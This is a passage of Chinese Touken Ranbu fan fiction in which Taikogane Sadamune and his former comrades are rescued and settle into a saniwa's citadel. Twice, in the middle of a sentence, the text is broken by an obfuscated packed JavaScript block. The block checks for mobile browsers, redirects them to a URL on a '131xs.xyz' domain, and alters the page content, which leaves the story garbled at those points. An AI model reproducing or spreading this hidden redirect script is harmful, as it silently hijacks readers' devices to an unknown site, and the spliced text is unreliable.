万屋很大,很繁华,有很多很多的店铺和来来往往的刀剑付丧神们,审神者的身影倒是并不多见。 和鹤先生口中所描述的万屋相比,太鼓钟贞宗眼前所看到的一切,是更加真实而鲜活的。 小短刀好奇地四处张望着万屋街道上五花八门的商铺。 加州清光们频频出入的指甲油美甲店,还有被大和守安定们围堵在店门口的冲田君手办专卖店,以及出没各种爱好喝茶的老爷爷们的茗茶馆,飘来好闻饭香的五星级饭店……里面掌勺的大厨,会是另一位小光吗? 太鼓钟贞宗这般猜想着,一不留神便撞上了一位刚从成衣店里出来的刀剑付丧神。 “啊、痛……小心。” “唔!抱歉……” 小短刀捂着脑门看向眼前扶住他肩膀的、略高于他的胁差少年,却意外的对上了一双目露惊喜的蜜糖色眸子。 “原来是小贞啊,真是好运呢。” 幸运值一向都是MAX的物吉贞宗,对于碰巧遇见了自家本丸还没有到来的同刀派兄弟,很是高兴地弯了弯精致的眉眼。 “……物吉尼。” 他难得的有些不知所措,拽住身侧的蓝色披风捏出了皱褶。 他已经很久很久,没有见过哥哥们了。 两刃走到一个偏僻一点的角落,开始交谈起来。 “小贞是一个刃来万屋的吗?” “……嗯。” “第一次来的万屋是很容易的迷路哦?” 清朗柔和的嗓音,体贴而关切地保持着适当的距离,橘粉色的发在空中卷翘出恰到好处的曲线弧度。 物吉贞宗笑着说道。 “小贞想要去什么地点,但又不知道路的话,可以向我询问,说不定我会很幸运的知道位置呢!” 啊,是哥哥啊,是很温柔、很温柔的刃呢。 “时政商贸大厦。” 他将披风捏得更紧了些。 “你知道……时政商贸大厦在哪里吗,物吉尼?” 物吉贞宗闻言眼底闪过一丝讶然,但还是抬手为他指明了方向。 “在那边哦——万屋中心最高的那栋建筑就是。” “谢谢。” 太好了,找到了。 在告别的时候,物吉贞宗有些神秘地对他说了一句。 “或许不久后,我们还能再一次相见呢,小贞。” 虽然不知为何物吉贞宗会这么说……但他也是有一点期盼的。 就一点点,一点点。 能再见他们一面,就已经足够让他感到满足了。 这么想着的他,脸上也不由自主地扬起了一抹极浅极淡的笑容。 4 小贞,他的弟弟过得并不好。 物吉贞宗向来都是一位心思细腻、会为他人着想的刀剑付丧神。 他的弟弟,太鼓钟贞宗,本该是一振喜爱华丽的、活泼飒爽的,像小太阳一样热情开朗的刀剑付丧神。 而眼前站着的这一振太鼓钟贞宗,是沉稳的,是迷茫的,是紧握着一根蛛丝、想要抓住什么的。 胸前的宝石依旧是闪亮的,蓝金色的羽毛也依旧华丽,但整洁的白色西装衣摆处,却有一道洗不干净的焦黑炭灰。 那张本该元气满满、笑起来的脸上,失去了笑容。 金灿的眼眸里所流露出来的,有好奇,有紧张,有疑惑,有意外……唯独没有一丝自然放松的笑意。 你在忧虑着什么呢,小贞? 时政商贸大厦,他记得鹤丸殿好像有提到过…… “小幸运——啊,要死了,要死了。” 正当物吉贞宗皱眉思索着的时候,耳边就传来了他那上任已有近三年光景的主公的呼救声。 “主公大人。” 看着颤颤巍巍地提着大包小包的礼品袋,脸上贴着御神纸的女性审神者,物吉贞宗无奈地接过了她手上大多数的礼品袋,减轻了不小的负担。 “我记得鹤丸殿和大俱利殿是跟着您一起离开的?” 代号为「晞」的审神者,闻言挠了挠脑袋。 “那个啊,鹤丸想带着小伽罗去时政报名参加见面会。然后我看到旁边商铺居然打折特价……就让他俩自己去了,也没想到一不小心在万屋买了这么多。” 晞熟练地开始转移话题。 “小幸运刚刚是在和谁说话啊,怎么一副愁眉苦脸的样子?” “啊,是小贞啦,刚刚在店门口碰巧遇见了。” “什么——!” 审神者的嗓子扯高了八个度。 啊?小幸运说他遇见了谁?是她千份材料砸下去也死活也锻不出来的太鼓钟贞宗——小贞吗?! 天呐,错过了她好后悔呜呜呜,如果上天再给她一次机会,她一定—— 不行,五星级大厨咪酱的光忠特制也不能放弃! 只有咪酱的光忠特制牡丹饼才能安慰她寒冷的心了呜(啃啃)。 可恶,她家的伊达组和贞宗家到底什么时候才能来齐呀QAQ? 5 晞是一位非常神奇的非典型欧皇审神者。 初始刀为加州清光,初锻刀是毛利藤四郎。 当毛利藤四郎从锻刀炉里显现而出的时候,在一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15802747|174901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旁讲解的狐之助愣住了,帮忙看锻刀炉时间的加州清光也愣住了。 晞更是大为震惊,然后手一抽,在隔壁锻刀炉随便按了个公式,又锻了一炉。 三个小时二十分钟后,一只活蹦乱跳爱惊吓的鹤伴随着一阵樱花落下,就从锻刀炉里蹦出来了。 “哟,我是鹤丸国永,被这样突如其来的出现吓到了吗……啊勒?” 鹤丸还没有念完入手词,就被蹲守在锻刀炉前的两刃一狐团团围住。 “居然是鹤丸殿啊。” “审神者大人的运气很好呢。” “果然不是小孩子吗?好可惜。” 鹤丸歪头听了一会根本就没有掩饰音量的一连串嘀咕声,三两下就明白了现在的处境。 “……清光作为今日的近侍还要帮我处理一些事务,所以出阵的日课就拜托你了,鹤丸殿。” 哇哦,真是一个意外的惊吓,被给予了重任呢。 看着眼前还很青涩的审神者,被任命为队长出阵的鹤丸笑了笑说道。 “嗯,我会带给你令人吃惊的结果的!” 6 就这样,晞的本丸在磕磕绊绊中,一天又一天成长了起来。 也许是晞本身奇怪的运气,稀有刀、限定刀一振两振的从锻刀炉里跳出来,常见的刀反而很少出货。 苦等大和守安定已久的加州清光,在某一天看着自己写了厚厚一大沓就是等不来刃看的日记本,终于在沉默中爆发了。 他穿好出阵服,涂好指甲油,一手拎刀,一手握着审神者给的御守·极,怀里揣着圆滚滚的金刀装。满级极化打刀的气场全开,雄赳赳气昂昂地迈步奔向了时政。 具体发生了什么没有刃清楚,只知道最后的结果是加州清光终于如愿以偿。 只不过为什么带回来的大和守殿,是一振被打晕且挂着中伤牌子的极化大和守安定…… 「嘛,反正都是姬君的刀了,跑是跑不掉了的,而且大和守殿目前还打不过清光,所以问题不大。」 出阵捞兼先生捞到极化满级·大佬·堀川国广微笑着如是说道。 这事说大不大,说小不小,反正是让曾也是独守空房(?)、同命相怜(?)的孤寡鹤找上了同为本丸元老的门。 一夜畅聊之后,鹤丸大彻大悟。 锻刀行不通,出阵捞不到,这都没关系。 他可以去抢、咳,收留别人家不要的可怜刃啊! 别人家不喜欢不在乎,但他还稀罕着呢! 这偌大的伊达部屋,到现在也只有鹤一刃呢! 隔壁的粟田口一大家子刃都快齐了,鹤也要抓紧捞刃了。 有点想念光坊的饭了,还有贞坊、伽罗坊…… 鹤可一点也不习惯这么无聊又安静的日子啊。 7 第二日,鹤丸在请示了自家姬君后,得到了晞爽快的应允和一个与加州清光同款的御守·极。 晞:鹤姥爷终于支棱起来了,可喜可贺。 或许是因为换了捞刃方式,这一回的进展竟格外的顺利。 才过了短短的两个星期,鹤丸就给晞的本丸带回了一振大俱利伽罗。 “……没打算和你们搞好关系。” 深肤的打刀语气冷淡低沉,紧抿着唇似乎有些不耐。 “哎呀哎呀,伽罗坊只是有一点点害羞,他其实……” “鹤丸。” 大俱利伽罗下意识皱起了眉,但在对上那双熟悉又陌生的金眸后,他又冷哼一声偏过头去,后退一步离围观着他和鹤丸看热闹的刃们更远了几分。 “……我没什么好说的,也没兴趣融入你们。” 鹤丸抬手摸了摸下巴。 这振伽罗坊……还是太温柔了啊。 他是从一座被时政执法队清查后的失格本丸里,捞到的这一振大俱利伽罗。 在那一位失格审神者的失格罪行成立后,就被执法队逮捕进了时政的大牢里。而那些被救出的受害刃,在失去了审神者之后,自然也就成了无主之刃。 或自行刀解,或再择明主,或加入时政。 他们拥有了自由选择自己今后刃生的权利。 碎的最多的是短刀,其次是短刀们的兄弟亲属。 鹤丸偷偷翻看着刀帐,这座本丸里是有过和他关系亲密的伊达组的。 只不过…… 他的指尖落在黯淡无光的、属于『鹤丸国永』的那一页刀帐上。 他又想起,这一次失格本丸的肃清任务,最重要的罪证之一,就是一振碎刀的『鹤丸国永』。 8.曾经曾经 1 鹤丸在本丸找到大俱利伽罗时,有着暗金色眸子的打刀正在手合场里挥舞着练习刀术用的木刀。 横劈,挥砍,突刺。 步伐沉稳,动作利落,下手狠厉。 他在很认真的一点一点提升着自己的实力。 汗水将额发打湿,汗珠顺着鬓角滑落,但专注于手中的木刀的大俱利伽罗无暇顾及,任由自己沉浸在刀法的一招一式里。 鹤丸站在手合场的门口看了很久,直到被身后传来的动静所打扰。 “鹤丸殿。” 来刃是温和守礼的橘粉发胁差,幸运之刃物吉贞宗,也是姬君今天的近待。 “主公大人邀请您和大俱利殿一同去万屋一趟。” “?去万屋姬君一般不是让近侍陪同的吗,叫上鹤和伽罗坊……这段时日,难道是时政商贸大厦的刀审领养见面会?” “这我也不太清楚,我只是负责来传告消息。” “另外,我也会一同陪去的,今天也要为主公大人带来幸运呢!” 于是,这就是鹤丸会带着自家新鲜出炉的闷葫芦·咖喱猫(?)·大俱利伽罗出门到万屋的起因经过。 大俱利伽罗:……我是不会跟你去的。 鹤丸:去嘛去嘛,说不定在万屋会有贞坊他们的消息呢? 大俱利伽罗:…… 鹤丸:鹤有听说,时政一月一次的刀审领养见面会在万屋召开哦?在见面会上会有很多流浪刀剑付丧神——就算贞坊光坊不在里面,说不定也会有刃见过他们,知道他们的消息——哎呀,都忘了见面会的报名时间,好像只剩下今天了呢~ 大俱利伽罗: !!! …… “所以,小贞和光忠……他们会来吗?” “鹤也不知道,鹤只能确定,他们都还活着。” 2 在看见属于伊达组三位故友的刀帐都还亮着的时候,鹤丸当时的心情是喜悦与痛惜交加着的。 喜悦他们的存活能与其再次重逢,痛惜他们过往所遭受的诸多苦难。 他与大俱利伽罗的初见,相遇在时政内部的刀解室门前。 寡言少语的打刀抱着刀,站在刀解室的门口沉默地目送着被时政救下来后,决定回归本灵的刀剑付丧神们在这一汪清澈的池底化为碎裂的残刃。 那个人渣的本丸里的刀解池早就被阴阳术封闭了,也就只有在这里,这些疲惫已久的分灵们才能放下所有,回归于最初起源的本灵之中,得以永眠。 灵体消散时的淡金色光点在这不大的室内飘飘荡荡,像是摇晃圣诞水晶球后一场纷纷扬扬的梦幻雪景。 大俱利伽罗站在水晶球外的世界里,无喜亦无悲。 他还不能离开,他得活着。 小贞和光忠……还在等他。 他记得烛台切光忠带着太鼓钟贞宗逃离的那一天,才从锻刀炉中显现不久的小短刀,无措地缩在烛台切光忠的怀里。 在时空转换器启动后的金光大盛中,暗金撞上了灿金的圆瞳。 他不由自主地弯了弯唇角,连一向冷硬的语气也一同放软。 「请活下去,再见。」 他看见灿金中涌出泪水,滚烫而灼心。 「伽罗——不许死、要活下来啊——」 最后的最后,短刀嘶哑地低吼着,颤抖的尾音随着金光的消逝戛然而止。 独自战斗,独自死去。 身死于何处向来由自己决定的打刀,第一次考虑起了今后的未来。 3 啧,麻烦。 大俱利伽罗皱着眉转头望向斜后方。 他早就注意到了某只躲在过道转角,悄咪咪偷看他的鹤丸。 “咳,那个伽罗坊啊。” 鹤丸见被发现了,也不再躲藏。唰地一下蹿到正主面前,光明正大地张口就开始拐刃。 “没有去处的话,接下来要不要来我家本丸住一下啊,我家姬君……” “……我没兴趣和你混熟。” “哎、伽罗坊你别走啊!鹤的本丸里伊达部屋就只有鹤一刃,鹤都快无聊死了,来陪陪鹤嘛——” “……” 大俱利伽罗搓掉胳膊上的一层鸡皮疙瘩,干脆眼不见为净转身绕过鹤丸,抬脚就走。 鹤丸眼瞅着拐刃计划即将失败,只好拿出了最后的杀手锏。 “鹤知道你的本丸之前逃出了一振太鼓钟贞宗和一振烛台切光忠。” “鹤向你保证,我会帮你找回他们。” 大俱利伽罗离去的脚步逐渐停了下来。 “你会帮我找回他们?” 浑身雪白的刀剑付丧神倚靠在刀解室的门扉上,笑容自信而明朗。 “当然,鹤丸国永从不撒谎!” 4 太鼓钟贞宗凭借着短刀的侦查,远远便看见了独自站在时政商贸大厦门口的打刀。 是在万屋并不寻常、但对他来说格外眼熟的身影。 那是……伽罗? 只是短短两个星期的分离,他还不至于认不出昔日的故友。 他一脸踌躇地在原地小幅度踱步,目光灼灼地盯着远处的大俱利伽罗,犹豫着是否要上前搭话。 不过看着大俱利伽罗如今安好的现状,太鼓钟贞宗也悄悄地在心里松了口气。 伽罗没有出事真是太好了。 观察着观察着,太鼓钟贞宗注意到大俱利伽罗似乎是在等刃。 小短刀不禁猜想到,他是在等谁呢?新的审神者?另一把太鼓钟贞宗或烛台切光忠?哈,说不定也有可能…… “哟,等久了,伽罗坊~” 熟悉的白色身影,熟悉的轻快语调,越过茫茫刃海和尘世喧嚣,如此清晰而又模糊的出现在他的眼前耳边。 ……是另一位鹤先生啊。 在一恍神间,大俱利伽罗似是察觉到了什么,随着探查的视线回望过去。 暗金色的眸子对上了一双慌乱的灿金。 小贞! 打刀撇下身侧和他讲述万屋注意事项的鹤丸,快步向前,穿行过忽然变得拥挤起来的人群刃海。 但待他再往那处看去时,那双灿金的拥有者却早已消失的无影无踪。 太鼓钟贞宗逃走了。 逃得慌不择路,逃得失神落魄,逃得像个胆小鬼。 他的心里憋着一股气,从万屋一路逃回到小屋的门院前,气喘吁吁地坐在了昨夜所坐的位置上。 “我在干什么啊。” 太鼓钟贞宗在石阶上缩成了小小的一团。 “……我在干什么啊。” 他的表现真是糟糕透了。 5 烛台切光忠在院外出现动静的时候,便握紧了腰间太刀的刀柄。他谨慎地踏出了屋舍,拉开院门却发现是自家今早就跑出门没了影子的小短刀。 “小贞?” 小短刀焉了吧唧的样子,就像是朵阴雨天墙边角落里长出的小蘑菇。 烛台切光忠:?这是发生什么事了? “小光。” 太鼓钟贞宗缩着身体一动不动。 “你说,我会不会太依赖鹤先生了?” 温和的太刀闻言轻叹一声,紧靠在小短刀身旁也坐了下来。 “小贞为什么会这么想呢?” 我为什么会这么想呢? 太鼓钟贞宗从刀剑显现为人形后所经历的时间,还是太短太短了。 从锻刀炉中被刀匠锻造出来,赋予灵力而获得新生的刀剑付丧神,在睁开双眼的一瞬间所看见的,是身前被硬生生折断的、他的同振的一部分断刃。 他是这座本丸里的第四振太鼓钟贞宗。 从那个人渣充斥着恶意的话语中,他知道了一件谁也没有告诉过的事情。 第三振『太鼓钟贞宗』,是为重伤出阵后破坏碎刀的『鹤先生』复仇而被折断的。 而他,是以第三振『太鼓钟贞宗』折断后的部分残刃碎片,刀解分离出的材料所重铸锻造的,第四振太鼓钟贞宗。 他在最初显现的时候就已知晓—— 『鹤先生』早就不在了。 “小光,我不想再失去什么了。” 无论是『小光』,还是『鹤先生』…… 他那生来便见证了死亡的灵魂,已经无法再承受更多的重量了。 6 所以,到底……发生了什么呢? 烛台切光忠以指为梳,耐心地捋顺了小短刀被狂风吹乱了的发。 这是他以前照顾『太鼓钟贞宗』时留下的习惯,这对眼前的太鼓钟贞宗来说,似乎也是十分受用的。 怀揣着不安情绪的小短刀钻进了烛台切光忠的臂弯里,将头轻轻地靠在了太刀靠近心脏的胸口上。 “扑通,扑通,扑通……” 当刀剑拥有了人身,辗转于多位前主之手的冰冷武器,成为了能伸手握住手中刀剑的付丧神。 过往的历史奠定了衪们的刃性,今生的经历塑造了他们的刃格。 当祂们成为他们,学会了表达欢喜,愤怒,哀伤,愉悦的刀剑付丧神们,终究还是染上了人间的烟火气和人情味儿。 尽管生死离别在祂们度过的漫长岁月里,作为刀剑的祂们早已司空见惯。 但是啊,那些恐惧,慌乱,不甘,心脏上的空洞里时不时漏进来的刺骨寒风——他们是能感受到的。 他们的所承受过的疼痛从来都是真实的。 于是,太鼓钟贞宗逃了。 他痛过,他害怕了。 或许,从未得到过,便不会再一次失去? 鹤先生,我还能有资格…… “小贞。” 可靠的太刀从不会去过问太多,只是用温暖的怀抱和规律的心跳声,一下又一下安抚着太鼓钟贞宗。 “我在这里,我一直在你的身边。” “无论未来去往何方,我都会陪着你的,小贞。” 心底那团不知名的闷气忽然散去了,化成一团雾蒙蒙的水汽,打湿了他的眼睫。 这可一点都不华丽啊。 7 “是小贞,他在万屋,我没看错。” 站在审神者晞面前的大俱利伽罗暗金色的眼中含着希冀的光,语气是少见的急切。 鹤丸在打刀失态地喊出小贞名字的时候,转瞬间便意识到了什么。临场应变能力更为快速的太刀灵活地在人群中腾转挪移,最终看清了短刀逃离去向的大致方位。 “那振太鼓钟贞宗的机动值蛮高,鹤追了一段路也没追上。” 以太刀的机动速度当然跑不过短刀。 “不过,鹤有看到小贞逃的方向是北街。” “北街吗……” 北街的时空转换器所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15837748|174901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 链接的时空坐标,大多数靠近溯行军主力大军前线的战场,链接的本丸也基本上都是刀剑战力强大的武系审神者。 例如晞的指引者——「焰」,就是本丸编号为S开头的武斗派本丸的武系审神者,长年驻扎于前线。 晞也有被焰带去过前线长长见识,就在前一段时间。 虽然只是在战场边沿巡逻的低风险任务,但晞还是遭遇了一队流窜的溯行军队伍。一直坐镇在大后方本丸的她,第一次亲眼目睹了刀剑们在战场上与敌人厮杀的场面。 由于要分出一振刀剑来保护审神者,所以这一战对晞的刀剑们来说,难免也有些吃力。 幸好有两振大抵是路过的流浪刀剑帮了一把手,不过事后也被好好说教了一通。 也许是当时被训留下来的印象太过深刻,回到本丸后看见自家满级极化大佬·堀川国广费尽千辛万苦,终于捞回来的卡内桑时都会下意识抖三抖。 才刚刚升到50级·兼先生:?(缓缓打出一个问号) “我从北街那边过来的时候,恰好有碰到过一振太鼓钟贞宗。” 物吉贞宗想起了不久前遇到的那振小短刀。 “我和那振小贞有过短暂的交谈,他有向我询问时政商贸大厦的位置——我猜他也许也是来报名参加明日的刀审领养见面会的。” 晞显然并不是个笨蛋,她很快就从这些蛛丝马迹中推算出了很多信息。 “去北街的时空转换器处,只要拿到今日来往的流浪刀剑登记记录表,就可以查到太鼓钟贞宗具体的所在坐标。” 年轻的姬君提起裙摆,向北街的尽头快步跑去,语速飞快地说道。 “能知道刀审领养见面会的事情,说明那振太鼓钟贞宗是有接触过时政的。” “而作为流浪刀剑付丧神,在流浪的环境中,最容易接触到的就是时政近年来设立的流浪刀剑交易所。” “所以,我们只需要查查今天有哪一振太鼓钟贞宗是通过流浪刀剑交易所的时空转换器来到万屋的,或许我们就能知道他的下落了。” 说到这里,晞又想到了一个可能性,脚下的步伐又更快了几分。 明天就是刀审领养见面会,而那振小贞好像、也许、可能——还没有来得及报名啊! 一想到错过了这次机会,也许就再也见不到小贞,晞真的很担心鹤姥爷会不会拉上大俱利殿没日没夜的找刃—— 晞的良心会受到狠狠地谴责的! 晞:这种糟糕的可能性必须杜绝!杜绝! 8 也许是本就自带欧皇气运的晞再叠加上了物吉贞宗的幸运,让他们的这次行动丝滑得像是吃了三色团子。 拿到来访名单,追溯坐标时空,锁定地点范围,似乎上天都站在他们这一边,一切都顺畅的不可思议。 “位于交易所附近的流浪刀剑付丧神聚集地……有了,主公大人您看这里!” 物吉贞宗将手中的资料递给晞过目。 晞捏着那张薄纸,低声念出了印刷在纸面上的、熟悉而醒目的一行字。 “S级流浪刀剑付丧神聚集地……【萤火之森】?” 【萤火之森】,晞待在前线的那些日子里,从驻守的前辈口中有听说过这个名字。 那是位于前线荒原的东南方向,一处被命名为【萤火】的森林。 她记得焰前辈曾对她说过…… …… 在被两位好心的流浪付丧神劝回前线驻扎大部队后,一眼就看见了她的亲亲前辈、焰小姐笑眯眯地站在门口对她招了招手。 晞:吾命休矣。 在经历了一番前后辈之间的‘亲切问候’后,焰听着自家后辈的讲述,总算明白了事情的来龙去脉。 「真是好运,救了你的大概是来自【萤火之森】的那两振流浪的土方组吧,我偶尔也会在战场上碰见他们。」 「……【萤火之森】是?」 「啊,是这附近的一处流浪刀剑付丧神聚集地,【萤火】之名是取自森林里被萤火虫环绕的一座神社。」 「在这种地方……居然还有一座神社吗?」 「嗯,听起来很神奇吧?」 焰小姐的目光眺望向东南方那一片郁郁葱葱、隐约能够看见的飞鸟掠过的林海。 「住在那座神社里面的大人啊,是一位值得尊敬的守护神明。」 「也是我们在这个位面里,面对溯行军大军的最后一道防线。」 …… “坐标位置确认了。” 晞站在本丸广庭处的廊道下,一脸正色地望着站在她眼前穿戴好了出阵服的四振刀剑。 鹤丸国永,大俱利伽罗,物吉贞宗和白山吉光。 “白山,等到了那边,就麻烦你通过狐之助跟我这边时刻保持联络了。” “是,已接受命令。” 肩上携带着一只蓝白渐变色小狐狸的白山吉光,语气依旧是冷淡而机械的,淡蓝色的眼瞳专注地看向他的审神者。 “这次的目标,是带回大俱利殿曾经的同伴——烛台切光忠和太鼓钟贞宗两位殿下。” “当然,如果他们不愿意前来,也不必强求。” “以及,也还请各位小心行事,如有突发意外事件务必第一时间与本丸反馈,你们的安全在我这里是最为重要的。” “事不宜迟,那么此次行动,祝诸君武运昌隆!” 9.新生 1 时间过得真快啊,『鹤先生』。 我现在暂时落脚在晞小姐的本丸,和小光,伽罗他们一起住在伊达部屋。 也算是结束了那仅有两个多星期的流浪生活。 这倒又像是一场幻梦了。 但这场幻梦中的迷雾却不知从何时起,便被一双无形的大手拨开消散了,脚下的路直达遥远的未来。 这也是你所预见的,未来中的一部分的吗? …… 晞小姐她是一个很好的审神者大人。 她聪慧,机敏,宽厚,善良,为人亲和。 小光对她印象不错,伽罗也未排斥与她。 但我却不知道该怎么面对她,也不知道该怎么面对另一位鹤先生。 他和小光口中的你很像,但又明显是不同的个体。 鹤先生们都喜欢蹲在院墙上,给人带来突如其来的惊吓吗? 也许是吧,至少是把我和小光都吓了一跳。 总之,因为一些不方便说明的原因,还是先保持一些距离吧,鹤先生。 …… 伽罗看到我的第一眼,就说我瘦了。 很轻很快的,他揉了一把我的头发。 和小光摸着我的头发,安抚我时的手法很像。 唔,也像是白山殿为怀里的小狐狸梳理毛发的样子。 我抬头看向收回手后,便没了下一步动作的伽罗,他皱起眉头,沉默了几秒,和我低声说忘记带上了梳子。 那双暗金色的眸子如同往日一般平静又暗潮汹涌。 物吉尼也摸了摸我的头,他的手更柔软、温热,是与伽罗和小光不一样的感觉。 但我是喜欢的,很喜欢的,让我忍不住想要再来一次。 大家为什么都喜欢摸我的头呢? 我想不明白。 不过,我应当是高兴的,所以不能哭。 对,没错。我很高兴! 很高兴、很高兴! 这算是一个天大的好消息,我理应该告诉你。 2 我今天路过新选组的部屋时,遇见了加州殿。 听这座本丸的鹤先生说,加州殿是晞小姐的初始刀。 初始刀,一振见证了本丸最初时光的刀剑啊。 加州殿在写日记,用的是一本深红封皮的厚本子。 这是他近三年来的习惯,目前暂时还改不了,当然他也没打算放下。 他说,在大和守殿还没有来、那些等待中度过的日子里,每当发生什么有趣的,美好的,值得记录分享的事情,他都会写在日记本上,等以后和大和守殿来翻阅。 「结果我左等右等,那家伙就是不来,没办法,所以我只好主动出击,把他从时政那接回来了。」 「从时政?」 「嗯,安定他之前的本丸坐标被历史修正主义者泄露,溯行军攻破了本丸,除安定外,本丸全员战死。」 「!那大和守殿他……?」 「……他当时出门修行在外,才得以幸免。」 扎着一条小辫搭在肩头,嘴角有颗美人痣的黑发青年声音平淡,笔下的字写得工整又清晰。 成为晞的初始刀后三年以来的经历,让他既能手持刀剑在战场杀敌,也能拿起纸笔为审神者分忧解难。 「我被派去过往的历史中寻找他,在他把一切闹大之前,将他安全带回了时政。」 打刀赤红色的眼眸微微弯起,似乎是回想起了什么。 「明明都已经进行过了修行,也见到了冲田君……那家伙还是没搞明白,他也是被爱着的呀。」 「总而言之……我和安定打了个赌,我赢了他,按照约定,他就被我带回来了。」 加州殿随后便岔开了话题,又和我谈了一些本丸里的趣事,在本子上落下最后一笔之后,便起身和我告辞了。 我看了本丸今日的内番表,加州殿大概是要去手合场和大和守殿进行手合了。 感情真好呢。 我在这偌大的本丸里漫步。 晞的本丸景趣维持在春分·白木莲。 高大的乔木,开了一树又一树的雪白繁花,树影摇曳,花香浅淡,恍惚间让我仿佛又看到了你。 有时候我真希望那不是幻觉,但我又希望那就是我的错觉。 走过长长的廊道,我认出了脚下日渐熟悉的路径。 最终,我去了厨房,我此行的目的地。 今天是伊达组的厨当番。 快中午了,该开始准备午饭了。 3 我不会做饭,所以也只能在厨房里打打下手。 鹤先生在捏饭团,他偷偷来问我喜欢什么配料。 实话说,我还真不知道自己喜欢什么,所以我思考了好一会儿,都无法给出明确肯定的答复。 或许是我沉默的时间太久,鹤先生看出了我的犹豫,于是他凑到我的耳边,小声但语气雀跃地提议道。 “要不要试试芥末?这可是鹤倾情推荐的独特风味——味道绝对会让贞坊你大吃一惊!” 其实我还挺想尝尝看的,但小光绝不允许鹤先生糟蹋今日本丸同僚们的午餐。 “嘛,果然还是被光坊赶出厨房了……” 鹤先生蹲在厨房门外,揪着一片白色的花瓣唉声叹气。 虽然我不知道为什么也被小光暂时请出了厨房,并且还不由自主地和鹤先生蹲在了一起。 但我还是出声安慰了他。 “没关系的啦,鹤先生,下次趁小光不在的时候,再来厨房做芥末饭团吧。” “可是光坊说,要把鹤的芥末都藏起来。” “被藏起来的话,鹤的刃生就会失去很多乐趣了啦……” 我看了眼鹤先生的手指之间,正在被蹂躏着的那片可怜花瓣,目光很快又移到了鹤先生骨节分明的手上。 这座本丸里的鹤先生从未摸过我的头。 奇怪,就算是那位流浪在外的鹤先生也是摸过的。 这也是不同个体之间的些微差异吗? 这又是一件我想不明白的事情,但我在片刻后便把这个疑惑抛到了遥远的天际边外,不再细想了。 鹤先生正在看着我。 短刀的高侦查提醒着我,该回神了。 “唔……我回头帮鹤先生你拿回来?悄悄地,我会注意不被小光发现的。” 话语刚落,鹤先生两只眼睛都亮起来了。 哦呼,鹤先生的眼里闪烁着kilakila的星星。 “那真是帮大忙了,贞坊!” 将手中的花瓣丢下,鹤先生抖抖羽毛又振作起来了。 “等我把芥末饭团做出来后,鹤一定会邀请你第一个来品尝它的美味的!” 糟糕,突然有点后悔,我现在收回我之前说的话还来得及吗? 我这般思考着,帮小光做着午餐最后的摆盘,鹤先生则是去通知本丸的刃们去大广间集合开饭了。 说起来,摆盘这种事情,我还是很拿手的哦? 哟西,让午餐也变得华丽起来吧! 4 我最近开始尝试写信。 起因是我当上了晞小姐的近侍。 本来我在来时的路上还在苦恼着,即将要接触的时政公务与本丸的工作报告该如何处理。 结果来到天守阁见到晞小姐时,却发现那些我所担心的事情,都已经被难得勤奋起来的审神者提前完成了。 “所以说,我今天作为近侍的工作?” “就是来陪我聊聊天啊~” 审神者坐在主位上,笑得像一只狡黠的狐。 “小贞小贞,你和咪酱愿意留在我的本丸了吗?” 晞的本丸里没有我,也没有小光,连伽罗也是在不久之前才来到这里的。 晞是希望我能够留下来的。 她很聪明,也很敏锐。我突然不敢和她灵动的棕黑色眼睛对视,我怕她一眼就能看穿我伤痕累累的灵魂。 小光是愿意留下来的,伽罗也是愿意留下来的。 那我呢?我会愿意留下来吗? 我在心中反复诘问着自己,将两杯泡好热茶的茶杯摆在审神者和我的面前。 水雾氤氲,模糊了审神者满怀期待,又小心翼翼偷偷瞧来的眉眼。 审神者偏爱春日的风光。 天守阁居高临下,正是最好的赏景之处。 我透过那层水雾,出神地看着白木莲在窗外的风中轻轻摇晃。 『鹤先生』,如果是你,我…… “小贞?” “啊,我在。” 我小心斟酌着措辞。 “晞小姐,请再给我一点时间。” “我想……写一封信。” “给一位素未谋面的故友。” 我想,是到该和你告别的时候了。 清醒着沉沦过去,不管怎么想,都真是太逊了啊。 或许,文字真的能够承载虚无飘渺的幻念。 ……至少能让我再一次见到你。 我向晞小姐要来了信纸和笔,认认真真地思索构想了整整一个白天。 第二天一早,就着障子门外的晨光鸟啼和白木莲花香,我在雪白的信纸上落下了第一滴墨。 5 “小贞是在写信么?” 小光第一个发现了我的反常。 “嗯,是写给帮助了我们的那位鹤先生的啦。” 我这般答复着他,又揉皱了一张废稿。 “原来如此。” 小光整理好房间的内务,抚平黑色西装上的皱褶。 今日轮到他随队远征。 “那小贞可要好好感谢一番那位鹤先生呢。” “嗯。” “鹤先生和小伽罗出阵去了?” 我重新铺好一张信纸,回想起今早出门锻炼的伽罗和一早就不见了踪影的鹤先生。 “伽罗今天出阵刚走,鹤先生倒是一早就出去了。” 伽罗虽然和以前一样话不多,但他昔日沉默中的挣扎,如今悔恨后的坚定,我和小光也谈过几句,记在心里。 鹤先生……大概是又去准备今天的惊吓了吧? 我总是猜不出鹤先生的心思。 在天快要亮起来的时候,我被原本躺在身侧的鹤先生发出的微小动静声所惊醒。 鬼使神差的是,我没有出声,只是闭着眼睛,不动声色地倾听着耳侧太刀的一举一动。 鹤先生收拾床铺的动作利落得像是做了千百次般熟练。在他打点好一切起身轻轻拉开障子门后,本为他就要这样悄悄出门的我,忽然又听到了他折返回屋里的脚步声。 